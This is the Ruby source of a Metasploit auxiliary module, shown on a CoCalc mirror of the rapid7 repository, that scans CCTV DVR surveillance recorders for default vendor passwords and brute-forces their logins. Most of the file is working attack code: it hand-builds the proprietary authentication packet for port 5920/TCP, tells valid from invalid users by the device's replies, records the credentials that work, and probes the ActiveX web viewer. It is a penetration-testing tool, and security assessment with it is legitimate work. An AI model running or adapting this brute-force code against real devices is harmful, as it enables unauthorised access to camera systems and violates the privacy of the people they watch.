Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/cctv_dvr_login.rb
28052 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::AuthBrute
9
include Msf::Auxiliary::Scanner
10
include Msf::Auxiliary::Report
11
12
def initialize
13
super(
14
'Name' => 'CCTV DVR Login Scanning Utility',
15
'Description' => %q{
16
This module tests for standalone CCTV DVR video surveillance
17
deployments specifically by MicroDigital, HIVISION, CTRing, and
18
numerous other rebranded devices that are utilizing default vendor
19
passwords. Additionally, this module has the ability to brute
20
force user accounts.
21
22
Such CCTV DVR video surveillance deployments support remote
23
viewing through Central Management Software (CMS) via the
24
CMS Web Client, an IE ActiveX control hosted over HTTP, or
25
through Win32 or mobile CMS client software. By default,
26
remote authentication is handled over port 5920/TCP with video
27
streaming over 5921/TCP.
28
29
After successful authentication over 5920/TCP this module
30
will then attempt to determine if the IE ActiveX control
31
is listening on the default HTTP port (80/TCP).
32
},
33
'Author' => 'Justin Cacak',
34
'License' => MSF_LICENSE
35
)
36
37
register_options(
38
[
39
OptPath.new(
40
'USER_FILE',
41
[
42
false,
43
"File containing usernames, one per line",
44
File.join(Msf::Config.data_directory, "wordlists", "multi_vendor_cctv_dvr_users.txt")
45
]
46
),
47
OptPath.new(
48
'PASS_FILE',
49
[
50
false,
51
"File containing passwords, one per line",
52
File.join(Msf::Config.data_directory, "wordlists", "multi_vendor_cctv_dvr_pass.txt")
53
]
54
),
55
OptBool.new('STOP_ON_SUCCESS', [false, "Stop guessing when a credential works for a host", true]),
56
OptPort.new('HTTP_PORT', [true, "The HTTP port for the IE ActiveX web client interface", 80]),
57
Opt::RPORT(5920)
58
]
59
)
60
end
61
62
def run_host(ip)
63
@valid_hosts = []
64
begin
65
connect
66
67
each_user_pass { |user, pass|
68
do_login(user, pass)
69
}
70
rescue ::Interrupt
71
raise $!
72
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
73
print_error("Timeout or no connection on #{rhost}:#{rport}")
74
return
75
rescue ::Exception => e
76
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
77
return
78
ensure
79
disconnect
80
end
81
82
@valid_hosts.each do |h|
83
http_interface_check(h)
84
end
85
end
86
87
def http_interface_check(h)
88
begin
89
http = connect(false, {
90
'RPORT' => datastore['HTTP_PORT'],
91
'RHOST' => h
92
})
93
94
http.put("GET / HTTP/1.1\r\n\r\n")
95
96
# get() is a more suitable method than get_once in this case
97
data = http.get(20)
98
99
if data =~ /DVR WebViewer/i
100
# Confirmed ActiveX control over HTTP, display the control name and version
101
# Report HTTP service info since there is a confirmed IE ActiveX control
102
# Code base example:
103
# codebase="CtrWeb.cab#version=1,1,5,4"
104
if data.match(/codebase="(\w{1,16})\.(\w{1,3}).version=(\d{1,3},\d{1,3},\d{1,3},\d{1,3})/)
105
v = "#{$1}.#{$2} v#{$3}"
106
else
107
v = "unknown version"
108
end
109
110
uri = "http://#{rhost}:#{datastore['HTTP_PORT']}"
111
print_good("Confirmed IE ActiveX HTTP interface (#{v}): #{uri}")
112
113
report_service(
114
:host => rhost,
115
:port => datastore['HTTP_PORT'],
116
:name => "http",
117
:info => "IE ActiveX CCTV DVR Control (#{v})"
118
)
119
else
120
# An HTTP server is listening on HTTP_PORT, however, does not appear to be
121
# the ActiveX control
122
print_status("An unknown HTTP interface was found on #{datastore['HTTP_PORT']}/TCP")
123
end
124
rescue
125
print_status("IE ActiveX HTTP interface not found on #{datastore['HTTP_PORT']}/TCP")
126
ensure
127
disconnect(http)
128
end
129
end
130
131
def report_cred(opts)
132
service_data = {
133
address: opts[:ip],
134
port: opts[:port],
135
service_name: 'cctv_dvr',
136
protocol: 'tcp',
137
workspace_id: myworkspace_id
138
}
139
140
credential_data = {
141
origin_type: :service,
142
module_fullname: fullname,
143
username: opts[:user],
144
private_data: opts[:password],
145
private_type: :password
146
}.merge(service_data)
147
148
login_data = {
149
last_attempted_at: DateTime.now,
150
core: create_credential(credential_data),
151
status: Metasploit::Model::Login::Status::SUCCESSFUL,
152
proof: opts[:proof]
153
}.merge(service_data)
154
155
create_credential_login(login_data)
156
end
157
158
def do_login(user = nil, pass = nil)
159
vprint_status("#{rhost} - Trying username:'#{user}' with password:'#{pass}'")
160
161
fill_length1 = 64 - user.length
162
163
# Check if user name length is too long for submission (exceeds packet length)
164
if fill_length1 < 1
165
return
166
end
167
168
# Build the authentication packet starting here
169
data = "\x00\x01\x00\x00\x80\x00\x00\x00" + user + ("\x00" * fill_length1)
170
171
# Check if password length is too long for submission (exceeds packet length)
172
fill_length2 = 64 - pass.length
173
if fill_length2 < 1
174
return
175
end
176
177
data = data + pass + ("\x00" * fill_length2)
178
res = nil
179
sock.put(data)
180
begin
181
res = sock.get_once(-1, 7)
182
rescue
183
return :abort
184
end
185
186
if not (res)
187
disconnect
188
vprint_error("#{rhost} No Response")
189
return :abort
190
end
191
192
# Analyze the response
193
if res == "\x00\x01\x03\x01\x00\x00\x00\x00" # Failed Password
194
vprint_error("#{rhost}:#{rport} Failed login as: '#{user}'")
195
return
196
197
elsif res == "\x00\x01\x02\x01\x00\x00\x00\x00" # Invalid User
198
vprint_error("#{rhost}:#{rport} Invalid user: '#{user}'")
199
# Stop attempting passwords for this user since it doesn't exist
200
return :skip_user
201
202
elsif res == "\x00\x01\x05\x01\x00\x00\x00\x00" or res == "\x00\x01\x01\x01\x00\x00\x00\x00"
203
print_good("#{rhost}:#{rport} Successful login: '#{user}' : '#{pass}'")
204
205
# Report valid credentials under the CCTV DVR admin port (5920/TCP).
206
# This is a proprietary protocol.
207
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.inspect)
208
209
@valid_hosts << rhost
210
return :next_user
211
212
else
213
vprint_error("#{rhost}:#{rport} Failed login as: '#{user}' - Unclassified Response: #{res.inspect}")
214
return
215
end
216
end
217
end
218
219